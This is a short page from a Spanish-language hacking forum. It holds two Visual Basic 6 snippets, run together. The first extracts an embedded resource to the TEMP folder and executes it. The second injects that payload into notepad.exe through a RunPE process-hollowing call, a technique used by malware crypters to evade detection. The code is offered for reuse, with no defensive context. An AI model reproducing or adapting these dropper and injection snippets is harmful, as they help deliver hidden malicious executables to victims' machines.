Indetectables es una Comunidad de Hacking, Seguridad Informática, Impresión 3d y Desarrollo
./index.php?sid=7a4c3021c6c3f68d23f97a4166bdc72b
Dim bFile() As Byte
Dim sTargetPath As String
'Cargas tu archivo de recursos
bFile = LoadResData(101, "CUSTOM")
'Escribes tu archivo en %TEMP%\miarchivo.extension
sTargetPath = Environ("TEMP") & "\miarchivo.extension"
Open sTargetPath For Binary As #1
Put #1, , bFile
Close #1
'Y puedes hacer lo que quieras con él, por ejemplo ejecutarlo
Call Shell(sTargetPath, vbNormalFocus)Dim bFile() As Byte
Dim sTargetPath As String
'Cargas tu archivo de recursos
bFile = LoadResData(101, "CUSTOM")
Call RunPE(bFile, Environ$("WINDIR") & "\SYSTEM32\notepad.exe")